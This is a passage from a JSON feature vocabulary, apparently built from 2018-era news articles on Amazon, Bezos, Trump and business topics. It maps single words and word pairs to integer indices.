23002,\n  \"slow burns\": 23003,\n  \"recoverable\": 23004,\n  \"country engaged\": 23005,\n  \"nyc violent\": 23006,\n  \"freeze temperatures\": 23007,\n  \"floyd\": 23008,\n  \"ceo announcing\": 23009,\n  \"yesterday treasury\": 23010,\n  \"course donald\": 23011,\n  \"congressional review\": 23012,\n  \"random facts\": 23013,\n  \"years 2007\": 23014,\n  \"unlikely google\": 23015,\n  \"staff image\": 23016,\n  \"store power\": 23017,\n  \"gop faces\": 23018,\n  \"service took\": 23019,\n  \"morning showing\": 23020,\n  \"fishing attempts\": 23021,\n  \"haul flights\": 23022,\n  \"idra\": 23023,\n  \"tax obligation\": 23024,\n  \"plus vice\": 23025,\n  \"prospective homebuyers\": 23026,\n  \"article headlined\": 23027,\n  \"social conscience\": 23028,\n  \"regina benjamin\": 23029,\n  \"theories dog\": 23030,\n  \"company 240\": 23031,\n  \"trump slapped\": 23032,\n  \"kissing booth\": 23033,\n  \"commercials cbs\": 23034,\n  \"hydropower\": 23035,\n  \"reagan republican\": 23036,\n  \"draft proposal\": 23037,\n  \"life purpose\": 23038,\n  \"eric thanks\": 23039,\n  \"market size\": 23040,\n  \"bit coming\": 23041,\n  \"lebanon kenya\": 23042,\n  \"kalb enemy\": 23043,\n  \"4000 hudgins\": 23044,\n  \"holiday ad\": 23045,\n  \"internet relatively\": 23046,\n  \"freeing\": 23047,\n  \"drug monitoring\": 23048,\n  \"schmidt steveschmidtses\": 23049,\n  \"canadian business\": 23050,\n  \"media spokesperson\": 23051,\n  \"news art\": 23052,\n  \"nationals make\": 23053,\n  \"hq2 mailer\": 23054,\n  \"discussing unannounced\": 23055,\n  \"larger deal\": 23056,\n  \"actually blood\": 23057,\n  \"revenue climb\": 23058,\n  \"goodwin\": 23059,\n  \"alphabet focus\": 23060,\n  \"steadily encroached\": 23061,\n  \"heritage foundation\": 23062,\n  \"downing\": 23063,\n  \"month shares\": 23064,\n  \"china malmstrom\": 23065,\n  \"michael douglas\": 23066,\n  \"jonathan kauffman\": 23067,\n  \"annual tax\": 23068,\n  \"amazon interests\": 23069,\n  \"president hassan\": 23070,\n  \"hearings christine\": 23071,\n  \"security relies\": 23072,\n  \"think alibaba\": 23073,\n  \"circumstances youtube\": 23074,\n  \"515 000\": 23075,\n  \"despite efforts\": 23076,\n  \"bezos shared\": 23077,\n  \"government murder\": 23078,\n  \"casually says\": 23079,\n  \"prescription interdiction\": 23080,\n  \"horrible person\": 23081,\n  \"hubbard respective\": 23082,\n  \"inspiring films\": 23083,\n  \"2019 says\": 23084,\n  \"faceoff buhari\": 23085,\n  \"year wall\": 23086,\n  \"comment tweet\": 23087,\n  \"twitter\": 23088,\n  \"jeff bezo\": 23089,\n  \"half fake\": 23090,\n  \"santos cruz\": 23091,\n  \"getcurrentvideoindex videoid\": 23092,\n  \"misjudged\": 23093,\n  \"response resulting\": 23094,\n  \"page mijente\": 23095,\n  \"volkswagen audi\": 23096,\n  \"stellar box\": 23097,\n  \"work constructively\": 23098,\n  \"drive unmanned\": 23099,\n  \"coldly analytical\": 23100,\n  \"soy exporter\": 23101,\n  \"print postage\": 23102,\n  \"mega warehouses\": 23103,\n  \"violations\": 23104,\n  \"instagram accounts\": 23105,\n  \"fincl state\": 23106,\n  \"declared today\": 23107,\n  \"blitzer\": 23108,\n  \"roles jack\": 23109,\n  \"democratic operatives\": 23110,\n  \"native texas\": 23111,\n  \"trillionaire\": 23112,\n  \"hubbard 13th\": 23113,\n  \"streaming offerings\": 23114,\n  \"says google\": 23115,\n  \"greco\": 23116,\n  \"bet wins\": 23117,\n  \"scott introduces\": 23118,\n  \"free credit\": 23119,\n  \"image 155x90\": 23120,\n  \"post media\": 23121,\n  \"spring dinner\": 23122,\n  \"getlibraryname configobj\": 23123,\n  \"trump critical\": 23124,\n  \"gay married\": 23125,\n  \"popularize design\": 23126,\n  \"slides seeking\": 23127,\n  \"sam bufe\": 23128,\n  \"getting portrayed\": 23129,\n  \"586 million\": 23130,\n  \"harding\": 23131,\n  \"patrick shanahan\": 23132,\n  \"time federal\": 23133,\n  \"company provider\": 23134,\n  \"named today\": 23135,\n  \"kylie beauty\": 23136,\n  \"supports israel\": 23137,\n  \"ebay fedex\": 23138,\n  \"critics immediately\": 23139,\n  \"rl latin\": 23140,\n  \"carbon pollution\": 23141,\n  \"told insidesources\": 23142,\n  \"concerns read\": 23143,\n  \"lasted longer\": 23144,\n  \"paid woody\": 23145,\n  \"771959 las\": 23146,\n  \"limestone reliefs\": 23147,\n  \"keoshkerian continued\": 23148,\n  \"including assassinations\": 23149,\n  \"taiga syndrome\": 23150,\n  \"fresh aim\": 23151,\n  \"visy\": 23152,\n  \"crossed amazon\": 23153,\n  \"cosmetics\": 23154,\n  \"james wrote\": 23155,\n  \"intelligence research\": 23156,\n  \"gone uncontested\": 23157,\n  \"recommendations\": 23158,\n  \"oppose controversial\": 23159,\n  \"yorker\": 23160,\n  \"broke according\": 23161,\n  \"protocol published\": 23162,\n  \"competing theories\": 23163,\n  \"drug prices\": 23164,\n  \"pass additional\": 23165,\n  \"future taxes\": 23166,\n  \"crowded subways\": 23167,\n  \"meryl streep\": 23168,\n  \"school break\": 23169,\n  \"boothe fox\": 23170,\n  \"gabelli\": 23171,\n  \"unspecified amazon\": 23172,\n  \"feminist leanings\": 23173,\n  \"describes embarrassing\": 23174,\n  \"amzn extended\": 23175,\n  \"employees conspiratorial\": 23176,\n  \"cloud skills\": 23177,\n  \"wearing ceremonial\": 23178,\n  \"farmers fuel\": 23179,\n  \"act trying\": 23180,\n  \"articleid server719392\": 23181,\n  \"san suu\": 23182,\n  \"click\": 23183,\n  \"french canadian\": 23184,\n  \"including global\": 23185,\n  \"feldman\": 23186,\n  \"lobbying group\": 23187,\n  \"deep pools\": 23188,\n  \"tweet share\": 23189,\n  \"equally bezos\": 23190,\n  \"bullying\": 23191,\n  \"formations tougher\": 23192,\n  \"troops arrive\": 23193,\n  \"colbert late\": 23194,\n  \"pram\": 23195,\n  \"small 169\": 23196,\n  \"current customers\": 23197,\n  \"investigators believe\": 23198,\n  \"spookier\": 23199,\n  \"orleans uscpr\": 23200,\n  \"claude juncker\": 23201,\n  \"worth shrug\": 23202,\n  \"rep mike\": 23203,\n  \"trump declaration\": 23204,\n  \"government policies\": 23205,\n  \"chevron doctrine\": 23206,\n  \"hub attached\": 23207,\n  \"amazon chairman\": 23208,\n  \"stories\": 23209,\n  \"joke bezos\": 23210,\n  \"hill reports\": 23211,\n  \"currentvideocollection configobj\": 23212,\n  \"dows\": 23213,\n  \"people literally\": 23214,\n  \"knowing keeps\": 23215,\n  \"agency polices\": 23216,\n  \"support successful\": 23217,\n  \"videoplayer hidespinner\": 23218,\n  \"critical positions\": 23219,\n  \"cookbook luisa\": 23220,\n  \"restart power\": 23221,\n  \"article inmed\": 23222,\n  \"dub\": 23223,\n  \"country long\": 23224,\n  \"reforms president\": 23225,\n  \"alaska worker\": 23226,\n  \"ami legal\": 23227,\n  \"getting hurt\": 23228,\n  \"acted late\": 23229,\n  \"expect private\": 23230,\n  \"remains independent\": 23231,\n  \"time work\": 23232,\n  \"board votes\": 23233,\n  \"subsidies university\": 23234,\n  \"bezos garage\": 23235,\n  \"eric trump\": 23236,\n  \"suggests capping\": 23237,\n  \"450 look\": 23238,\n  \"entrepreneur yusaku\": 23239,\n  \"consumers maxsa\": 23240,\n  \"duplass\": 23241,\n  \"simple fable\": 23242,\n  \"private retailers\": 23243,\n  \"political group\": 23244,\n  \"breath\": 23245,\n  \"qualified federal\": 23246,\n  \"keeping mum\": 23247,\n  \"brent crude\": 23248,\n  \"dinner hosted\": 23249,\n  \"faced challenges\": 23250,\n  \"verizon\": 23251,\n  \"years given\": 23252,\n  \"trump hisilli\": 23253,\n  \"says terrific\": 23254,\n  \"donations \\u01421\": 23255,\n  \"street retailers\": 23256,\n  \"company poverty\": 23257,\n  \"continued government\": 23258,\n  \"951\": 23259,\n  \"retailer website\": 23260,\n  \"joint letters\": 23261,\n  \"qualified engineers\": 23262,\n  \"2018 yahoo\": 23263,\n  \"companies typically\": 23264,\n  \"reported ajit\": 23265,\n  \"trump reason\": 23266,\n  \"eclectic\": 23267,\n  \"sandie jones\": 23268,\n  \"blackburn opponent\": 23269,\n  \"toulouse\": 23270,\n  \"heat including\": 23271,\n  \"valuation shed\": 23272,\n  \"protects\": 23273,\n  \"wickedly entertaining\": 23274,\n  \"dismantled\": 23275,\n  \"manny alicandro\": 23276,\n  \"airbnb medium\": 23277,\n  \"general hamilton\": 23278,\n  \"eps cut\": 23279,\n  \"head gunjan\": 23280,\n  \"administration cnn\": 23281,\n  \"ifixit offers\": 23282,\n  \"navy seal\": 23283,\n  \"jared kushner\": 23284,\n  \"brands social\": 23285,\n  \"lieu\": 23286,\n  \"tote\": 23287,\n  \"cold brrrrr\": 23288,\n  \"appears centered\": 23289,\n  \"rob patronite\": 23290,\n  \"peddler\": 23291,\n  \"fighters traitors\": 23292,\n  \"2018 report\": 23293,\n  \"pricing analysis\": 23294,\n  \"amazon nicholas\": 23295,\n  \"decries\": 23296,\n  \"stores think\": 23297,\n  \"rate increase\": 23298,\n  \"rainforests saving\": 23299,\n  \"fundamentally attractive\": 23300,\n  \"prove amazon\": 23301,\n  \"election recounts\": 23302,\n  \"canceling plans\": 23303,\n  \"president latest\": 23304,\n  \"mcbride chief\": 23305,\n  \"bookbinder\": 23306,\n  \"exhibits\": 23307,\n  \"started producing\": 23308,\n  \"names just\": 23309,\n  \"mogul ami\": 23310,\n  \"shopping agenda\": 23311,\n  \"sundar\": 23312,\n  \"sect\": 23313,\n  \"model\": 23314,\n  \"temps\": 23315,\n  \"747 464\": 23316,\n  \"internet postage\": 23317,\n  \"150 million\": 23318,\n  \"big organisation\": 23319,\n  \"wife priscilla\": 23320,\n  \"key technology\": 23321,\n  \"brutally aggressive\": 23322,\n  \"convicted npr\": 23323,\n  \"subjects fertile\": 23324,\n  \"won matter\": 23325,\n  \"spinner_\": 23326,\n  \"joined fox\": 23327,\n  \"ceptions accessos\": 23328,\n  \"watchdog asked\": 23329,\n  \"welcome modest\": 23330,\n  \"practices finally\": 23331,\n  \"photo mtp\": 23332,\n  \"josh groban\": 23333,\n  \"iranian nuclear\": 23334,\n  \"starbucks making\": 23335,\n  \"luminaries\": 23336,\n  \"falls progressively\": 23337,\n  \"olsavsky told\": 23338,\n  \"susan collins\": 23339,\n  \"president harsh\": 23340,\n  \"prolific\": 23341,\n  \"risk seriously\": 23342,\n  \"woodrow wilson\": 23343,\n  \"declination decisions\": 23344,\n  \"city international\": 23345,\n  \"unsustainable trump\": 23346,\n  \"asset advsrs\": 23347,\n  \"time don\": 23348,\n  \"eu leaders\": 23349,\n  \"bezos secured\": 23350,\n  \"wolf blitzer\": 23351,\n  \"openly dislikes\": 23352,\n  \"concerning trump\": 23353,\n  \"biking\": 23354,\n  \"private mar\": 23355,\n  \"cancelling netflix\": 23356,\n  \"trump actual\": 23357,\n  \"image 640x290\": 23358,\n  \"stringent\": 23359,\n  \"tabloid actively\": 23360,\n  \"grandmother serving\": 23361,\n  \"laurel dressing\": 23362,\n  \"domestic turmoil\": 23363,\n  \"archetype\": 23364,\n  \"future jobs\": 23365,\n  \"lethal\": 23366,\n  \"google merely\": 23367,\n  \"satirical targets\": 23368,\n  \"unless separate\": 23369,\n  \"identified bad\": 23370,\n  \"457771 realities\": 23371,\n  \"evans vestal\": 23372,\n  \"president negotiations\": 23373,\n  \"government closure\": 23374,\n  \"know starts\": 23375,\n  \"revenues adding\": 23376,\n  \"ice pdf\": 23377,\n  \"queens asked\": 23378,\n  \"insider selling\": 23379,\n  \"pizzagate shirt\": 23380,\n  \"yorkers know\": 23381,\n  \"fringe parts\": 23382,\n  \"saw positive\": 23383,\n  \"kershner\": 23384,\n  \"billion microsoft\": 23385,\n  \"west accepted\": 23386,\n  \"cutters\": 23387,\n  \"mean major\": 23388,\n  \"potentially loss\": 23389,\n  \"approval board\": 23390,\n  \"work home\": 23391,\n  \"necessarily great\": 23392,\n  \"brutal blizzard\": 23393,\n  \"2018 oscars\": 23394,\n  \"googlefor\": 23395,\n  \"nonstop flight\": 23396,\n  \"news late\": 23397,\n  \"future ii\": 23398,\n  \"2018 isle\": 23399,\n  \"investigative pieces\": 23400,\n  \"change india\": 23401,\n  \"willing partner\": 23402,\n  \"crazy new\": 23403,\n  \"new software\": 23404,\n  \"usmidterms\": 23405,\n  \"181002134913 beach\": 23406,\n  \"1930\": 23407,\n  \"financed\": 23408,\n  \"candidates running\": 23409,\n  \"scalzo\": 23410,\n  \"reporters credentials\": 23411,\n  \"equities 2018\": 23412,\n  \"abuse posted\": 23413,\n  \"chief communications\": 23414,\n  \"diplomacy far\": 23415,\n  \"steady progress\": 23416,\n  \"wayside think\": 23417,\n  \"bezos owner\": 23418,\n  \"length pants\": 23419,\n  \"trump diaper\": 23420,\n  \"openly gay\": 23421,\n  \"hubs analysts\": 23422,\n  \"hit wall\": 23423,\n  \"locations near\": 23424,\n  \"company eventually\": 23425,\n  \"change snap\": 23426,\n  \"master lease\": 23427,\n  \"single night\": 23428,\n  \"marked prime\": 23429,\n  \"earlyjoin\": 23430,\n  \"slideshowbillionaire dreamland16\": 23431,\n  \"cup partnership\": 23432,\n  \"streaming group\": 23433,\n  \"configobj autostart\": 23434,\n  \"cost customers\": 23435,\n  \"offers preview\": 23436,\n  \"mainstream success\": 23437,\n  \"currently climbing\": 23438,\n  \"technology world\": 23439,\n  \"birth certificates\": 23440,\n  \"945\": 23441,\n  \"karma features\": 23442,\n  \"skeptical enforcement\": 23443,\n  \"1021380986452545537\": 23444,\n  \"china wants\": 23445,\n  \"make case\": 23446,\n  \"fires worker\": 23447,\n  \"hibs celtic\": 23448,\n  \"location tracking\": 23449,\n  \"democrat elizabeth\": 23450,\n  \"businesswire\": 23451,\n  \"bot\": 23452,\n  \"reuters rex\": 23453,\n  \"scrutinized conservative\": 23454,\n  \"sponsoring\": 23455,\n  \"buyout\": 23456,\n  \"xxx\": 23457,\n  \"integral\": 23458,\n  \"site eventually\": 23459,\n  \"reason georgieva\": 23460,\n  \"property advisor\": 23461,\n  \"devices artificial\": 23462,\n  \"feel ashamed\": 23463,\n  \"giant awakens\": 23464,\n  \"defense asks\": 23465,\n  \"act casa\": 23466,\n  \"mpls\": 23467,\n  \"amazon aggressive\": 23468,\n  \"discouraged consumers\": 23469,\n  \"story betsy\": 23470,\n  \"headliner donald\": 23471,\n  \"received guidance\": 23472,\n  \"disconnected\": 23473,\n  \"oncologists\": 23474,\n  \"margins consumer\": 23475,\n  \"house characterizing\": 23476,\n  \"blurry faces\": 23477,\n  \"companies potentially\": 23478,\n  \"expected amazon\": 23479,\n  \"captionwas\": 23480,\n  \"hurricane relief\": 23481,\n  \"delivery improve\": 23482,\n  \"dayssincepubdate null\": 23483,\n  \"better ways\": 23484,\n  \"tents\": 23485,\n  \"juni\": 23486,\n  \"strike fighter\": 23487,\n  \"rekognition faces\": 23488,\n  \"respectable republicans\": 23489,\n  \"higher 2018\": 23490,\n  \"just takes\": 23491,\n  \"shipping centers\": 23492,\n  \"accuser\": 23493,\n  \"enervating\": 23494,\n  \"links hear\": 23495,\n  \"sears collapse\": 23496,\n  \"rising pay\": 23497,\n  \"notable moment\": 23498,\n  \"buffalo police\": 23499,\n  \"amazon equipment\": 23500,\n  \"negotiators trump\": 23501,\n  \"guin copper\": 23502,\n  \"trump reality\": 23503,\n  \"partners\": 23504,\n  \"allegedly allowing\": 23505,\n  \"maneuvers\": 23506,\n  \"rally bouncing\": 23507,\n  \"staffers signed\": 23508,\n  \"demanding return\": 23509,\n  \"initiative according\": 23510,\n  \"aboard jon\": 23511,\n  \"various figures\": 23512,\n  \"urgently\": 23513,\n  \"emerging democratic\": 23514,\n  \"digitalization\": 23515,\n  \"model graphic\": 23516,\n  \"original members\": 23517,\n  \"mulvaney did\": 23518,\n  \"radio wares\": 23519,\n  \"george miranda\": 23520,\n  \"newsroom dropped\": 23521,\n  \"wonder wheel\": 23522,\n  \"charting week\": 23523,\n  \"pils\": 23524,\n  \"essential infrastructure\": 23525,\n  \"richard snapes\": 23526,\n  \"island south\": 23527,\n  \"allegedly includes\": 23528,\n  \"significant strain\": 23529,\n  \"confiscate\": 23530,\n  \"scarcely\": 23531,\n  \"docs reality\": 23532,\n  \"data collection\": 23533,\n  \"presumably leads\": 23534,\n  \"jcp plummeted\": 23535,\n  \"intense lobbying\": 23536,\n  \"reasons think\": 23537,\n  \"sovereign wealth\": 23538,\n  \"workplace improved\": 23539,\n  \"diamond sales\": 23540,\n  \"operating monopoly\": 23541,\n  \"shred\": 23542,\n  \"followed bezos\": 23543,\n  \"amazon initially\": 23544,\n  \"jacobs\": 23545,\n  \"potential customers\": 23546,\n  \"zydtv2ojir\": 23547,\n  \"company committed\": 23548,\n  \"ceo cnbc\": 23549,\n  \"maycaybeeler\": 23550,\n  \"lobbied hard\": 23551,\n  \"term sustainability\": 23552,\n  \"campaigner\": 23553,\n  \"opportunity say\": 23554,\n  \"hat projection\": 23555,\n  \"judges did\": 23556,\n  \"randall stephenson\": 23557,\n  \"offer employees\": 23558,\n  \"toole stepped\": 23559,\n  \"joe hogsett\": 23560,\n  \"info\": 23561,\n  \"yes deliver\": 23562,\n  \"teenagers breitbart\": 23563,\n  \"hurd don\": 23564,\n  \"reading singapore\": 23565,\n  \"alleged\": 23566,\n  \"program designed\": 23567,\n  \"jobs broader\": 23568,\n  \"employees livable\": 23569,\n  \"dershowitz dershowitz\": 23570,\n  \"apple gives\": 23571,\n  \"mac mortgages\": 23572,\n  \"nearby detroit\": 23573,\n  \"station kjzz\": 23574,\n  \"wall teeing\": 23575,\n  \"specifics unclear\": 23576,\n  \"cap companies\": 23577,\n  \"sandoz\": 23578,\n  \"australian vendors\": 23579,\n  \"better labor\": 23580,\n  \"posed bigger\": 23581,\n  \"listed amazon\": 23582,\n  \"additional context\": 23583,\n  \"mobile devices\": 23584,\n  \"half jamaican\": 23585,\n  \"jeff berman\": 23586,\n  \"says ami\": 23587,\n  \"reads nyt\": 23588,\n  \"star disclosed\": 23589,\n  \"kate conger\": 23590,\n  \"morgan wrote\": 23591,\n  \"sept 2018\": 23592,\n  \"tv news\": 23593,\n  \"dangling\": 23594,\n  \"declare hunting\": 23595,\n  \"engaged\": 23596,\n  \"mini office\": 23597,\n  \"kroger recently\": 23598,\n  \"torv18\": 23599,\n  \"twitter makes\": 23600,\n  \"amazon picking\": 23601,\n  \"totaled trillion\": 23602,\n  \"post really\": 23603,\n  \"minimise\": 23604,\n  \"material handlers\": 23605,\n  \"firefighter survives\": 23606,\n  \"infusion articleshow\": 23607,\n  \"breckman\": 23608,\n  \"hamza shaban\": 23609,\n  \"weakening iphone\": 23610,\n  \"sleuthing\": 23611,\n  \"tariffs hitting\": 23612,\n  \"mobile order\": 23613,\n  \"kirincic katie\": 23614,\n  \"aspirations\": 23615,\n  \"sensitivity analysis\": 23616,\n  \"hardly secret\": 23617,\n  \"globally owned\": 23618,\n  \"election prosecutors\": 23619,\n  \"sripping\": 23620,\n  \"shelley sold\": 23621,\n  \"possible customer\": 23622,\n  \"clodagh kilcoyne\": 23623,\n  \"cbs televisions\": 23624,\n  \"concern observation\": 23625,\n  \"brave new\": 23626,\n  \"bezos responds\": 23627,\n  \"grubby fight\": 23628,\n  \"joanna coles\": 23629,\n  \"people false\": 23630,\n  \"generated slim\": 23631,\n  \"sold 516\": 23632,\n  \"reserve leading\": 23633,\n  \"preferential treatment\": 23634,\n  \"supplying\": 23635,\n  \"sources delving\": 23636,\n  \"otc offering\": 23637,\n  \"cancer literally\": 23638,\n  \"disappearance\": 23639,\n  \"new net\": 23640,\n  \"unmasking law\": 23641,\n  \"country bezos\": 23642,\n  \"preventing package\": 23643,\n  \"krakow researcher\": 23644,\n  \"investigation arose\": 23645,\n  \"atop forbes\": 23646,\n  \"ice immigration\": 23647,\n  \"beijing dunford\": 23648,\n  \"investor amazon\": 23649,\n  \"tax wall\": 23650,\n  \"highpaying jobs\": 23651,\n  \"banning kenosha\": 23652,\n  \"week jasco\": 23653,\n  \"additional carrier\": 23654,\n  \"popularize\": 23655,\n  \"scientist\": 23656,\n  \"brain idea\": 23657,\n  \"especially hollow\": 23658,\n  \"mcmuffin\": 23659,\n  \"fb raising\": 23660,\n  \"took toll\": 23661,\n  \"products increased\": 23662,\n  \"open letter\": 23663,\n  \"jeremiah tower\": 23664,\n  \"article protesters\": 23665,\n  \"satirical image\": 23666,\n  \"y9e layerx\": 23667,\n  \"economic angst\": 23668,\n  \"ashley\": 23669,\n  \"alleged prejudice\": 23670,\n  \"york leaders\": 23671,\n  \"continue using\": 23672,\n  \"wholly compelling\": 23673,\n  \"amazon running\": 23674,\n  \"ami received\": 23675,\n  \"browsers decreased\": 23676,\n  \"clear indication\": 23677,\n  \"cashier free\": 23678,\n  \"casts long\": 23679,\n  \"protest yields\": 23680,\n  \"uk\": 23681,\n  \"jurisdiction amazon\": 23682,\n  \"maintains significant\": 23683,\n  \"source water\": 23684,\n  \"amazon avoid\": 23685,\n  \"plungers\": 23686,\n  \"reliability feeney\": 23687,\n  \"david fahrenthold\": 23688,\n  \"boomers ages\": 23689,\n  \"arms race\": 23690,\n  \"reportedly bounced\": 23691,\n  \"poaching\": 23692,\n  \"trump overt\": 23693,\n  \"season read\": 23694,\n  \"misguided policy\": 23695,\n  \"furthered\": 23696,\n  \"biff tannen\": 23697,\n  \"working paper\": 23698,\n  \"emerged related\": 23699,\n  \"ford\": 23700,\n  \"a4ee t0\": 23701,\n  \"did choose\": 23702,\n  \"hardline rhetoric\": 23703,\n  \"suggesting range\": 23704,\n  \"cultural\": 23705,\n  \"nitrous\": 23706,\n  \"reportedly reach\": 23707,\n  \"new globalisation\": 23708,\n  \"mngmt llc\": 23709,\n  \"sweet sorrow\": 23710,\n  \"partially function\": 23711,\n  \"competition right\": 23712,\n  \"goodreads bezos\": 23713,\n  \"dozen goldman\": 23714,\n  \"shelf life\": 23715,\n  \"fighters\": 23716,\n  \"website best\": 23717,\n  \"books store\": 23718,\n  \"wired\": 23719,\n  \"vandal netflix\": 23720,\n  \"enright\": 23721,\n  \"sudden\": 23722,\n  \"euros 847\": 23723,\n  \"economic boost\": 23724,\n  \"behemoth felt\": 23725,\n  \"house lawn\": 23726,\n  \"124 xsmall\": 23727,\n  \"estimate\": 23728,\n  \"china presence\": 23729,\n  \"friend ami\": 23730,\n  \"sidekick\": 23731,\n  \"book fiction\": 23732,\n  \"yanny\": 23733,\n  \"hamptons\": 23734,\n  \"ongoing government\": 23735,\n  \"habanero sauce\": 23736,\n  \"restraining trade\": 23737,\n  \"gene park\": 23738,\n  \"felt spots\": 23739,\n  \"bristles\": 23740,\n  \"tax deductions\": 23741,\n  \"carveout social\": 23742,\n  \"greatest shares\": 23743,\n  \"incisive\": 23744,\n  \"growing adoption\": 23745,\n  \"turkish president\": 23746,\n  \"electric bills\": 23747,\n  \"cheddar reported\": 23748,\n  \"foods cashiers\": 23749,\n  \"alibaba stock\": 23750,\n  \"times carbon\": 23751,\n  \"delivery vans\": 23752,\n  \"omaha\": 23753,\n  \"box 1988\": 23754,\n  \"garner remarks\": 23755,\n  \"discuss pending\": 23756,\n  \"tech analyst\": 23757,\n  \"insurance disability\": 23758,\n  \"bank head\": 23759,\n  \"house accordingly\": 23760,\n  \"ways felt\": 23761,\n  \"forbes media\": 23762,\n  \"paid regardless\": 23763,\n  \"intern monica\": 23764,\n  \"e4 a4ee\": 23765,\n  \"lauren greenfield\": 23766,\n  \"selections\": 23767,\n  \"cover usps\": 23768,\n  \"newser amazon\": 23769,\n  \"street economists\": 23770,\n  \"ad targeting\": 23771,\n  \"tourism trips\": 23772,\n  \"regulate\": 23773,\n  \"stocks big\": 23774,\n  \"supporting media\": 23775,\n  \"amazon execs\": 23776,\n  \"lp instead\": 23777,\n  \"convicts man\": 23778,\n  \"single digit\": 23779,\n  \"betting line\": 23780,\n  \"laurence\": 23781,\n  \"diesel vehicles\": 23782,\n  \"links best\": 23783,\n  \"expensive affair\": 23784,\n  \"superficial level\": 23785,\n  \"ends tomorrow\": 23786,\n  \"doesn directly\": 23787,\n  \"utilizes parcel\": 23788,\n  \"nystrom\": 23789,\n  \"state instead\": 23790,\n  \"operations associate\": 23791,\n  \"worse yang\": 23792,\n  \"kennedy airport\": 23793,\n  \"dollars time\": 23794,\n  \"did little\": 23795,\n  \"industry defined\": 23796,\n  \"retain workers\": 23797,\n  \"presence close\": 23798,\n  \"raises\": 23799,\n  \"chinese telecommunications\": 23800,\n  \"hired security\": 23801,\n  \"monthly active\": 23802,\n  \"phase progresses\": 23803,\n  \"discoveries\": 23804,\n  \"dangerous category\": 23805,\n  \"commerce flows\": 23806,\n  \"day zeroes\": 23807,\n  \"supplier defended\": 23808,\n  \"box stores\": 23809,\n  \"lingering\": 23810,\n  \"investopedia original\": 23811,\n  \"kamhi began\": 23812,\n  \"revenge\": 23813,\n  \"say bespoke\": 23814,\n  \"virginia experts\": 23815,\n  \"billionaire amazon\": 23816,\n  \"hp_lead_pos4\": 23817,\n  \"riggen\": 23818,\n  \"flying tech\": 23819,\n  \"longtime private\": 23820,\n  \"hood foundations\": 23821,\n  \"publically state\": 23822,\n  \"sell artificial\": 23823,\n  \"ft reported\": 23824,\n  \"dog authorities\": 23825,\n  \"virginia correspond\": 23826,\n  \"retail veteran\": 23827,\n  \"journalistic decisions\": 23828,\n  \"future opportunities\": 23829,\n  \"labs washington\": 23830,\n  \"closely monitoring\": 23831,\n  \"hectares jair\": 23832,\n  \"commerce king\": 23833,\n  \"accusing britain\": 23834,\n  \"new hq2s\": 23835,\n  \"pllc\": 23836,\n  \"2900\": 23837,\n  \"person private\": 23838,\n  \"officials lawmakers\": 23839,\n  \"people associated\": 23840,\n  \"vote capped\": 23841,\n  \"just granted\": 23842,\n  \"investigators knew\": 23843,\n  \"separate industries\": 23844,\n  \"argues looming\": 23845,\n  \"secular\": 23846,\n  \"payments commerce\": 23847,\n  \"style article\": 23848,\n  \"members voted\": 23849,\n  \"speak nonetheless\": 23850,\n  \"airport terminals\": 23851,\n  \"strong defender\": 23852,\n  \"blasio spokeswoman\": 23853,\n  \"writer ronan\": 23854,\n  \"regulators recently\": 23855,\n  \"note illustration\": 23856,\n  \"insurance restrictions\": 23857,\n  \"leftist double\": 23858,\n  \"diplomatic\": 23859,\n  \"cease promoting\": 23860,\n  \"smores\": 23861,\n  \"cohesive\": 23862,\n  \"big gentleman\": 23863,\n  \"conditions good\": 23864,\n  \"pliable\": 23865,\n  \"tom shea\": 23866,\n  \"mills assumes\": 23867,\n  \"boxes users\": 23868,\n  \"intently\": 23869,\n  \"easy decision\": 23870,\n  \"ossenbeck wrote\": 23871,\n  \"tostring k1a\": 23872,\n  \"make appropriate\": 23873,\n  \"branch sacrosanct\": 23874,\n  \"enquirer publishers\": 23875,\n  \"endorsing product\": 23876,\n  \"writing critically\": 23877,\n  \"furtherance\": 23878,\n  \"david jackson\": 23879,\n  \"firm london\": 23880,\n  \"race trump\": 23881,\n  \"societal\": 23882,\n  \"recommendation engines\": 23883,\n  \"fun facts\": 23884,\n  \"connect businesses\": 23885,\n  \"shares narwhal\": 23886,\n  \"specific data\": 23887,\n  \"responsible policies\": 23888,\n  \"previously projected\": 23889,\n  \"planet stream\": 23890,\n  \"burlington aki\": 23891,\n  \"propel\": 23892,\n  \"decade\": 23893,\n  \"hold broadcast\": 23894,\n  \"processed filtered\": 23895,\n  \"european licensing\": 23896,\n  \"bring beijing\": 23897,\n  \"initiative trump\": 23898,\n  \"authors writing\": 23899,\n  \"message bloomberg\": 23900,\n  \"coordinator\": 23901,\n  \"0999845284\": 23902,\n  \"customer review\": 23903,\n  \"book dressing\": 23904,\n  \"improve safety\": 23905,\n  \"upside exactly\": 23906,\n  \"revenue targets\": 23907,\n  \"kid version\": 23908,\n  \"gained lots\": 23909,\n  \"buckner rose\": 23910,\n  \"having \\u0430a\": 23911,\n  \"demonstrating link\": 23912,\n  \"capital value\": 23913,\n  \"ago seminole\": 23914,\n  \"halt sales\": 23915,\n  \"counted days\": 23916,\n  \"religion age\": 23917,\n  \"incendiary salvo\": 23918,\n  \"candidates votes\": 23919,\n  \"1547430310000\": 23920,\n  \"great working\": 23921,\n  \"assumed\": 23922,\n  \"atlantic\": 23923,\n  \"agric water\": 23924,\n  \"state standard\": 23925,\n  \"outright ami\": 23926,\n  \"says new\": 23927,\n  \"versions alexa\": 23928,\n  \"given different\": 23929,\n  \"small brands\": 23930,\n  \"eventssurrounding\": 23931,\n  \"credit score\": 23932,\n  \"corbyn leader\": 23933,\n  \"wasteland agents\": 23934,\n  \"crazed moths\": 23935,\n  \"new rules\": 23936,\n  \"predictions\": 23937,\n  \"105 million\": 23938,\n  \"outfit blue\": 23939,\n  \"york decision\": 23940,\n  \"motivations\": 23941,\n  \"cicilline line\": 23942,\n  \"successful real\": 23943,\n  \"government centers\": 23944,\n  \"youth protesters\": 23945,\n  \"brass believes\": 23946,\n  \"million peek\": 23947,\n  \"allergy tablets\": 23948,\n  \"briefly claim\": 23949,\n  \"triad\": 23950,\n  \"dorsey estimated\": 23951,\n  \"political authoritarianism\": 23952,\n  \"insecurity problems\": 23953,\n  \"amazon paul\": 23954,\n  \"korean allies\": 23955,\n  \"homeland safety\": 23956,\n  \"middleman\": 23957,\n  \"onetime\": 23958,\n  \"trump ban\": 23959,\n  \"governance research\": 23960,\n  \"rates ruling\": 23961,\n  \"bad employees\": 23962,\n  \"financial services\": 23963,\n  \"clearly compelled\": 23964,\n  \"ho hum\": 23965,\n  \"uncertainties\": 23966,\n  \"radical individualist\": 23967,\n  \"fight counterfeits\": 23968,\n  